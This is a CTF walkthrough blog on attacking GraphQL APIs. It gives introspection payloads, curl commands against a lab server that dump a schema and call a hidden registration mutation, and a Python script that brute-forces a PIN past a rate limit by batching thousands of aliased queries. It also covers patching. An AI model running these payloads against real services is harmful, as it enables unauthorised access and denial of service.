Try   HackMD

Hackwekend - Session 3 Attack and Exploit GraphQL ?
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

tags ctf redteam vulnerable payload hacking hackwekend

Hi, Welcome back with my Hackwekend series, I am so glad and graceful if you have reach here. Go luck and hope you finding the things you want

The information of defination and exploit things is base on PortSwigger GraphQL, if you want to explore GraphQL, GraphQL API Security, Go and check that. In my blog, i just do brief with combine some information you need to understand for helping you work with GraphQL and exploit it.

GraphQL - Find the way to rapidly go to the goal

1. Defination about GraphQL and why is this technologies released ?

GraphQL is an API query language that is designed to facilitate efficient communication between clients and servers. It enables the user to specify exactly what data they want in the response, helping to avoid the large response objects and multiple calls that can sometimes be seen with REST APIs.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

@XeusNguyen

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
"With GraphQL, it is releasing like alternative technology for RESTAPI, but it can't change the REST. GraphQL will help you optimize the query, get specify data base on your mind but i think it just like that, with some specify case you will need REST instead of Graph and reverse. The balancing of between of them is help you have multiple choice for optional when choose the right technologies"
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

2. So how it working, GraphQL or grasp something
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
?

(The defination come from PortSwigger)

GraphQL schemas define the structure of the service's data, listing the available objects (known as types), fields, and relationships.

The data described by a GraphQL schema can be manipulated using three types of operation:

  • Queries fetch data.
  • Mutations add, change, or remove data.
  • Subscriptions are similar to queries, but set up a permanent connection by which a server can proactively push data to a client in the specified format.

All GraphQL operations use the same endpoint, and are generally sent as a POST request

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

3. Some definition GraphQL, Do you grasp it bruh ?
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Go check it on PortSwigger GraphQL, All about this question have answer with example

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • What is a GraphQL schema ?
  • What are GraphQL queries?
  • What are GraphQL mutations?
  • Components of queries and mutations
    • Fields
    • Arguments
    • Variables
    • Aliases
    • Fragments
  • Subscriptions
  • Introspection

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

4. GraphQL Attacking

I have make some conclusion about GraphQL, What is target, easy or hard ? Do >we have any tools for automation, blah blah,

So i have to get something about brief of GraphQL type vulnerables. Take a look the image downbelow or you can find it on DVGA. Diggest inside that one if you can

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Conclusion about GraphQL

  • Potential objects to exploit something
  • Errors have different levels of complexity from easy to hard
  • Have some common things basic you can check
    • Introspection
    • Hidden endpoints and mutations
    • Alias and batch query attack
  • Many tools can support for helping you detect the vulnerable
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Some of couple challenge about GraphQL

First challenge: Orient Treasure

Source code: https://github.com/Xeus-Territory/ctf_zone/tree/main/Hackwekend/GraphQL/Topic1

Description: Orient Software has the treasure is the flag. Do you find the map and grab it for yourself ?

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Analysis and take some trick

First of all, with route /, it just a simple plaintext and have Play now !!! <a> tag with route /graphql. So click on that and yup, you have playgroud of GraphQL

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

When you go there the first thing you can check is wappalyzer for technologies exposing

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

So we know about, this website use python, Flask, React. But if you know you know, My FE experience is too bad, So it just my copied from the another example from GraphQL > Go this link for checking what if bruh bruh !!. So it take a look some similar.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

So the first of all, in this challenge, I don't ever retrict or hidden the schema or docs, you can see that in the right edge of website, it stays here. So if you know you know, go on check a schema and docs for what it tells us something.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Yup, anything what is it is exposing with that one. So you do not need to answer how can find the way to exploit themselves, the truth is on your monitor

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
. So take a look at Treasure type we got flag signal -
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
it is good for exploit that. So before reach it is will show a schema when it draw in diagram, It will easily to look.

First of all, find that way to detecting instrospection is the importance job when exploit GraphQL, which is soul of GraphQL, schema will expose to public

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

So after reach that you will get some payload to exploit them, very clearly

1. Basic: {__schema{types{name,fields{name}}}}
2. Full topping: {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

So you can choose the full topping query, it will do some helpful job for coverting schema into diagram with GraphQL Voyager. So go and you will have some kind like this

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Too long bro, so i will skip this and just copy and paste that into that tools about, easy for taking

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
anything

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Easy to looking for hidden, Analysis with me, Schema will include some information
- It will have 4 type (4 tables - sorry if i talk wrong), query treasure place coordinates and it has connection with others
- 4 Query will with Get and GetAll > It just query conclude inside the GraphQL schema and when you find mutation it does't here. So easy take remember pass some thing require and will you will reach the hidden treasure
- getPlace query will require id - ID! the string so you need to pass id to get the result base on id
- getTreasure query like getPlace, so you must provide some varibles are id - ID! coordinates - Coordinates!

Find the truth

So we will play with GraphQL and find the hidden way, so we see the Place is just for decoy but it include something is special coordinates which require for getTreasure. So you must understand to trying with that one for finding the truth or not

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
(Base on you)

GraphQL

query {
  getAllPlaces {
    id
    country
    description
    coordinates {
      latitude
      longitude
    }
  }
}

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

But how can i say you need to remember the coordinates of anything else to get the truth, so reach to treasure and it is continious decoy of mine but it spoil you some thing. Grab the Graph

GraphQL:

query {
  getAllTreasures {
    id
    flag
    description
    location {
      coordinates {
        longitude
        latitude
      }
    }
    name
  }
}

Response is

{
  "data": {
    "getAllTreasures": [
      {
        "description": "Home to Europe's largest science museum, this area rewards daytime and nighttime explorations; there are three concert spaces, plus cinemas and bars, and even open-air cinema in the summer. The surrounding homes are a sharp contrast to the futuristic space",
        "flag": "",
        "id": 1,
        "location": {
          "coordinates": {
            "latitude": 48.86,
            "longitude": 2.35
          }
        },
        "name": "Péniche L'Eau Et Les Rêves"
      },
      {
        "description": "A large amphitheater that hosted events like gladiatorial games. Design Pics Inc. The Colosseum, also named the Flavian Amphitheater, is a large amphitheater in Rome. It was built during the reign of the Flavian emperors as a gift to the Roman people",
        "flag": "",
        "id": 2,
        "location": {
          "coordinates": {
            "latitude": 41.91,
            "longitude": 12.54
          }
        },
        "name": "The Colosseum"
      },
      {
        "description": "A tower clock known for its accuracy and for its massive hour bell. Strictly speaking, the name refers only to the bell, which weighs 15.1 tons (13.7 metric tons), but it is commonly associated with the whole clock tower at the northern end of the Houses of Parliament, in the London borough of Westminster",
        "flag": "",
        "id": 3,
        "location": {
          "coordinates": {
            "latitude": 48.86,
            "longitude": 2.35
          }
        },
        "name": "Big Ben Tower"
      },
      {
        "description": "Keep going the treasure is need one more step to exposing",
        "flag": "Opps, Orient treasure is hidden",
        "id": 4,
        "location": {
          "coordinates": {
            "latitude": 16.04,
            "longitude": 108.22
          }
        },
        "name": "Orient Treasure"
      }
    ]
  }
}

That is fake but it has some hint you must to diggest inside treasure to find the truth, it requires some field need to pass and yup, reup and put that cake the truth will expose. If you know you know, the treasure is in Orient so ID will = 4 and coordinates is base on you finding

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

GraphQL:

query {
  getTreasure (id: 4, coordinates: {longitude: 108.22, latitude: 16.04}) {
    flag
  }
}

And

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
, the treasure is exposing for us

image

Flag: flag{D3ar_a11_y0ur_tr3a5ur3_i5_Exp0se}

Patching:

  • Try to disable instrospection and don't spoil that for people in the public case
  • Set some retrict conditions for disable easily reach to private

Second challenge: Gatcha show

Source code: https://github.com/Xeus-Territory/ctf_zone/tree/main/Hackwekend/GraphQL/Topic2

Description: The hidden Gatcha show is hosting. Do you find the way to joining with us ? Please line up neatly !!!

Analysis

image

So first of sight, we have login form with huge plain text "Gatcha behind the scene", supicious right. More over so we take a look with the login form, Try some username and password is admin and admin.

image

and response we take is

image

So it not right but

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
go and check what API, you will supprise a something or it prints in your URL

Original encode URL:
http://20.212.250.71:8888/graphql?query=%7B%22query%22:%20%22mutation%20%7B%5Cn%20%20%20%20login(username:%20%5C%22admin%5C%22,%20password:%20%5C%22adminS%5C%22)%5Cn%7D%22%7D

So for easily taking and understand what the heck query, we need try to decodeing the URL by URL-Decode. And result is what is it you want

http://20.212.250.71:8888/graphql?query={"query": "mutation {\n    login(username: \"admin\", password: \"adminS\")\n}"}

Yup the truth is login is executing a graphql for login and you must try to find the graphql endpoint which graphql. Does it have another query or mutations ? Answer is yup

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Try to find instrospection to expose schema by some query in First challenge. You can query dirrectly into /graphql or /graphql?query=<encode_url>. But for easily you can try with curl to changing the method of request to GraphQL. Remember the most GraphQL API is throught POST methods, so try with it

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
.

curl -X POST 'http://20.212.250.71:8888/graphql\?query\=\{"query": "mutation {\n    login(username: \"admin\", password: \"adminS\")\n}"}'

So with this stuff command like will response error, first time you messy when you bracket of CURL so try again with

curl -X POST "http://20.212.250.71:8888/graphql\?query\=\{"query": "mutation {\n    login(username: \"admin\", password: \"adminS\")\n}"}"
zsh: no matches found: login(username: "admin", password: "adminS")n}}

LOL harder more :), try with header and encode query i thinks it will help you. And you it can perform like this

curl -X POST "http://20.212.250.71:8888/graphql?query=%7B%22query%22:%20%22mutation%20%7B%5Cn%20%20%20%20login(username:%20%5C%22admin%5C%22,%20password:%20%5C%22admin%5C%22)%5Cn%7D%22%7D"

Response is exactly what you want to find LOL

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Form</title>
    <link rel="stylesheet" href="../static/css/style.css">
</head>
<body>
    <div class="hero">
        <div class="form-box">
            <div class="social-icons">
                <img src="../static/images/fb.png" alt="fb">
                <img src="../static/images/tw.png" alt="tw">
                <img src="../static/images/gp.png"" alt="gp">
            </div>
            <h2>GET THE GATCHA BEHIND THE SCENE</h2>
            <form id="login" class="input-group" action=/handle_login method="POST">
                <input name="username" type="text" class="input-field" placeholder="Enter Name" required>
                <input name="password" type="password" class="input-field" placeholder="Enter Password" required>
                
                    <strong style="text-align: center; color: #ff105f; font-family: 'Raleway',sans-serif; font-size: 15px;">Your username or password is wrong</strong>
                
                <button type="submit" class="submit-btn">Log In</button>
            </form>
        </div>
    </div>
    <script src="../static/js/main.js"></script>
</body>
</html>

Graph query and pass this via curl to get instrospect. The truth will waiting you

Non-encoding
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

encoding
%7B__schema%7BqueryType%7Bname%7DmutationType%7Bname%7DsubscriptionType%7Bname%7Dtypes%7B...FullType%7Ddirectives%7Bname%20description%20locations%20args%7B...InputValue%7D%7D%7D%7Dfragment%20FullType%20on%20__Type%7Bkind%20name%20description%20fields%28includeDeprecated%3Atrue%29%7Bname%20description%20args%7B...InputValue%7Dtype%7B...TypeRef%7DisDeprecated%20deprecationReason%7DinputFields%7B...InputValue%7Dinterfaces%7B...TypeRef%7DenumValues%28includeDeprecated%3Atrue%29%7Bname%20description%20isDeprecated%20deprecationReason%7DpossibleTypes%7B...TypeRef%7D%7Dfragment%20InputValue%20on%20__InputValue%7Bname%20description%20type%7B...TypeRef%7DdefaultValue%7Dfragment%20TypeRef%20on%20__Type%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%7D%7D%7D%7D%7D%7D%7D%7D

But when i send this it always return 500 error. It makes sure query is just help you play with login or intentionally from the author

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
, so it can not help you play with this query like this one. (LOL that is my trick, so remember what you copy on the basic login)

image

So i will additional some thing for you focus "query" is including in the encoding so try capture that and you will get the result. Like like

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
, explosion time

curl -X POST 'http://20.212.250.71:8888?graphql?query=%7B%22query%22%3A%20%22%7B__schema%7BqueryType%7Bname%7DmutationType%7Bname%7DsubscriptionType%7Bname%7Dtypes%7B...FullType%7Ddirectives%7Bname%20description%20locations%20args%7B...InputValue%7D%7D%7D%7Dfragment%20FullType%20on%20__Type%7Bkind%20name%20description%20fields%28includeDeprecated%3Atrue%29%7Bname%20description%20args%7B...InputValue%7Dtype%7B...TypeRef%7DisDeprecated%20deprecationReason%7DinputFields%7B...InputValue%7Dinterfaces%7B...TypeRef%7DenumValues%28includeDeprecated%3Atrue%29%7Bname%20description%20isDeprecated%20deprecationReason%7DpossibleTypes%7B...TypeRef%7D%7Dfragment%20InputValue%20on%20__InputValue%7Bname%20description%20type%7B...TypeRef%7DdefaultValue%7Dfragment%20TypeRef%20on%20__Type%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%7D%7D%7D%7D%7D%7D%7D%7D%22%7D' | jq

image

If the previous plan is not working, So we need to have another plan. Back to /graphql it has existed and it could accept you that passing variables to this. So try with POST method by payload like this. It just accept the POST and Content-type: application/json. Go check this for understand pass this for curl command Setting Content-Type for Curl Request

curl -i -s -k -X $'POST' \
    -H $'Host: 20.212.250.71:8888' -H $'Content-Type: application/json' -H $'Content-Length: 13' \
    --data-binary $'{\"query\": \"\"}' \
    $'http://20.212.250.71:8888/graphql'

500 again but it goods you can try get instrospection via this and Burp Suite is easily will help you that. GraphQL pass via curl is had some complicated. So try this, and yup the schema here we go

curl -i -s -k -X $'POST' \
    -H $'Host: 20.212.250.71:8888' -H $'Content-Type: application/json' -H $'Content-Length: 214' \
    --data-binary $'{\"query\": \"{\\n    __schema {\\n        types {\\n            name\\n            fields {\\n                name\\n                args {\\n                    name\\n                }\\n            }\\n        }\\n    }\\n}\"}' \
    $'http://20.212.250.71:8888/graphql'

Response is

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.10.13
Date: Fri, 17 Nov 2023 07:56:48 GMT
Content-Type: application/json
Content-Length: 1917
Connection: close

{"data":{"__schema":{"types":[{"fields":[{"args":[],"name":"isAuthentication"}],"name":"Query"},{"fields":null,"name":"Boolean"},{"fields":[{"args":[{"name":"username"},{"name":"password"}],"name":"login"},{"args":[{"name":"username"},{"name":"password"}],"name":"register_beta_user"}],"name":"Mutation"},{"fields":null,"name":"String"},{"fields":[{"args":[],"name":"description"},{"args":[],"name":"types"},{"args":[],"name":"queryType"},{"args":[],"name":"mutationType"},{"args":[],"name":"subscriptionType"},{"args":[],"name":"directives"}],"name":"__Schema"},{"fields":[{"args":[],"name":"kind"},{"args":[],"name":"name"},{"args":[],"name":"description"},{"args":[],"name":"specifiedByURL"},{"args":[{"name":"includeDeprecated"}],"name":"fields"},{"args":[],"name":"interfaces"},{"args":[],"name":"possibleTypes"},{"args":[{"name":"includeDeprecated"}],"name":"enumValues"},{"args":[{"name":"includeDeprecated"}],"name":"inputFields"},{"args":[],"name":"ofType"}],"name":"__Type"},{"fields":null,"name":"__TypeKind"},{"fields":[{"args":[],"name":"name"},{"args":[],"name":"description"},{"args":[{"name":"includeDeprecated"}],"name":"args"},{"args":[],"name":"type"},{"args":[],"name":"isDeprecated"},{"args":[],"name":"deprecationReason"}],"name":"__Field"},{"fields":[{"args":[],"name":"name"},{"args":[],"name":"description"},{"args":[],"name":"type"},{"args":[],"name":"defaultValue"},{"args":[],"name":"isDeprecated"},{"args":[],"name":"deprecationReason"}],"name":"__InputValue"},{"fields":[{"args":[],"name":"name"},{"args":[],"name":"description"},{"args":[],"name":"isDeprecated"},{"args":[],"name":"deprecationReason"}],"name":"__EnumValue"},{"fields":[{"args":[],"name":"name"},{"args":[],"name":"description"},{"args":[],"name":"isRepeatable"},{"args":[],"name":"locations"},{"args":[{"name":"includeDeprecated"}],"name":"args"}],"name":"__Directive"},{"fields":null,"name":"__DirectiveLocation"}]}}}

This graphql is existed a hidden mutation is register_beta_user and it require 2 argument username and password. And so it is good signal, try this you will go to the truth

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The truth of gatcha show

If you reach that step, probally you have good skills. The truth is waiting for you, just need to register user and login that one to go Gatcha show. That easy

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

So it just create a curl like this one and login with that one and you will finding the truth. Here is the curl

curl -i -s -k -X $'POST' \
    -H $'Host: 20.212.250.71:8888' -H $'Content-Type: application/json' -H $'Content-Length: 98' \
    --data-binary $'{\"query\": \"mutation {\\n    register_beta_user(username: \\\"beta1000\\\", password: \\\"beta1000\\\")\\n}\"}' \
    $'http://20.212.250.71:8888/graphql'

Response is

HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.10.13
Date: Fri, 17 Nov 2023 09:01:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1345
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Form</title>
    <link rel="stylesheet" href="../static/css/style.css">
</head>
<body>
    <div class="hero">
        <div class="form-box">
            <div class="social-icons">
                <img src="../static/images/fb.png" alt="fb">
                <img src="../static/images/tw.png" alt="tw">
                <img src="../static/images/gp.png"" alt="gp">
            </div>
            <h2>GET THE GATCHA BEHIND THE SCENE</h2>
            <form id="login" class="input-group" action=/handle_login method="POST">
                <input name="username" type="text" class="input-field" placeholder="Enter Name" required>
                <input name="password" type="password" class="input-field" placeholder="Enter Password" required>
                
                    <strong style="text-align: center; color: #ff105f; font-family: 'Raleway',sans-serif; font-size: 15px;">Successfully registered your account</strong>
                
                <button type="submit" class="submit-btn">Log In</button>
            </form>
        </div>
    </div>
    <script src="../static/js/main.js"></script>
</body>
</html>

And success, you are have ticket to join gatcha, so typing username and password you register into login page. And the flag will expose in there.

image

Flag: flag{r3gist3r_butt0n_i5_1n_y0r_p0cket}

Patching

  • Like the first challenge, secure and enable instrospection is the first kind of things which need to consider when applied GraphQL for Production
  • Secure mutation if you not want the anonymous user can use at via the API LOL

Third challenge: Fast and Furious

I have said about this challenge was come from corCTF2023 and happily their team shared the code and challenge. So i have taken a look and this forced challenge was too crazy and interesting. So i hope i can get your accepted from your team to using this challenge for sharing to my team.

Dear Crusaders of Rust CTF Team

Source code: https://github.com/Xeus-Territory/ctf_zone/tree/main/Hackwekend/GraphQL/Topic3

Description: You are lucky one today or not ? Let race with us !!!

Attact file: Web.js

import fastify from 'fastify'
import mercurius from 'mercurius'
import { randomInt } from 'crypto'
import { readFile } from 'fs/promises'

const app = fastify({
    logger: true
});
const index = await readFile('./index.html', 'utf-8');

const secret = randomInt(0, 10 ** 5);

let requests = 10;

setInterval(() => requests = 10, 60000);

await app.register(mercurius, {
    schema: `type Query {
        flag(pin: Int): String
    }`,
    resolvers: {
        Query: {
            flag: (_, { pin }) => {
                if (pin != secret) {
                    return 'Wrong!';
                }
                return process.env.FLAG || 'flag{test}';
            }
        }
    },
    routes: false
});

app.get('/', (req, res) => {
    return res.header('Content-Type', 'text/html', 'utf-8').send(index);
});

app.post('/', async (req, res) => {
    if (requests <= 0) {
        return res.send('no u')
    }
    requests --;
    return res.graphql(req.body);
});

app.listen({ host: '0.0.0.0', port: 80 });

Analyis

Go and check with me, the UI of this challenge it have text box with default GrapgQL query with mutation flag and query! button for submit that. That all

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

So first of all, let try with UI and the result is return wrong

image

But this not a trick challenge, you have source code and let's analysis itself for finding the way to reach the truth. I will find out the something in source code of challenge with

  • Way to solve this challenge is find secret number, but it not easily . Secret number is from 0 to 1000000 (impossible if you guess, but i ain't gonna know if you have lucky, miracle will coming
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    )
  • You just have 10 times per minutes if you continiously play with the website. So try to the best to reach the truth
  • Condition of comparation is puting on the GraphQL and you need to understand how bypass that. It just has only query and that all, you need to find the behind the scene.

GG time and finding the truth

If you have take a booktrick dvga or Yeswehack, you have a type of attack to graphql is batch attack - DoS attack style

image
image

that was sick, GraphQL if not right configuration, Your server will put on alert situation. With technic like Batch attack styles, using the aliases like the target for bypass the graphql and return multiple result with just only response, Too sick

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

So how it work on with this challenge, i gracefully understand it via write-up of Fireshell Security Team, new knowledge when using the GraphQL pentest with it. So i have them solution and yup it will execute a huge request into server to guessing the secret numbers. And here is it

import requests

headers = {
    'Content-Type': 'text/plain;charset=UTF-8',
}

for i in range(10):
    MAX_NUM = 10000 # Max Request Size
    INI = (i*MAX_NUM)+MAX_NUM
    print(f'=========> Brute Range: {INI} - {INI+MAX_NUM-1}')
    QUERIES = '\n'.join([f'f{x}: flag(pin: {x})' for x in range(INI,INI+MAX_NUM)])
    OPERATION = 'query Getflag { ' + QUERIES +' }'

    response = requests.post('http://127.0.0.1:7777/', headers=headers, data=OPERATION)

    result = response.text.replace(',', ',\n')
    print(f'Status: {response.status_code}')

    FLAG_PREFIX = 'flag{'
    index = result.find(FLAG_PREFIX)
    if index > 0:
        flag_ini = index
        flag_end = result.index('}', index+len(FLAG_PREFIX)) + 1
        flag = result[index:flag_end]
        print(f'Flag is {flag}')
        break
    else:
        print('Not yet!')
    print()

The script is easily understand and written by Python3. It just Generate a query graphql with combine more than 100000 request by one, it has the style like this

query Getflag{
    ...
    f800: flag(pin : 800)
    f801: flag(pin : 801)
    ...
}

and send each query with 10000 query in one times and get the response if the flag inside it will capture that and filter it into Flag : <result>. And yup that all. So let replace the url in POST request and send it server to finding the truth

image

So we got the Flag: flag{g0_f4st_&&_g0_f4r_t0g3th3r???} and shout out my teamates markpage2k1 to finding the hidden number challenge (Good bruteforce

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
LOL)
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

How to patching this huge effect of vulnerables:

If you are not, Hacker can DoS to when your server goes down. So take care of what you setup with GraphQL, it not easily to making with tutorial is good enough.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

I have some article or blog to said wat thing you need to do for avoiding the issue occur

Preventing GraphQL batching attacks - Dev.io
Avoid GraphQL Denial of Service attacks through batching and aliasing - escape.tech

This is new update with publish on 2022 so it will help you secure your Graph with avoid Batch attack and how to use suitable and carefully when use alias, reffering that on that blog, so take a look and learn a new thing.

image

Conclustion

So i hope you read to the last and maybe finding the hidden and new knowledge which you want. So i happily to learning the GraphQL and making this challenge for you, I move on DevOps and now Develop is not part of my lifeday but it was new experience to coming back LOL. So happily hacking, safety and secure your GraphQL. See ya on next session of Hackwekend - Cloud Security (I think so

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
)

image

Refference

  1. Cyber Security Roadmap
  2. DevSecOps Roadmap
  3. Application Security Market to Set Stunning Growth From 2023 to 2030
  4. Why Is Capture the Flag (CTF) Important in Cyber Security?
  5. CYBERSECURITY MADE IN EUROPE – MAPPING THE EUROPEAN CYBERSECURITY SCALE-UP ECOSYSTEM V 1.0
  6. Jeopardy styles CTF - Whitehat - Vietnamese
  7. UK-founded Hack The Box raises $1.3M to build the world’s largest hacker community
  8. corCTF 2023 - WU 3 Web Challenges - Fishshell Security Team
  9. Avoid GraphQL Denial of Service attacks through batching and aliasing
  10. GraphQL - Hack Tricks
  11. DVGA
  12. PortSwigger - GraphQL API vulnerabilities
  13. POC GraphQL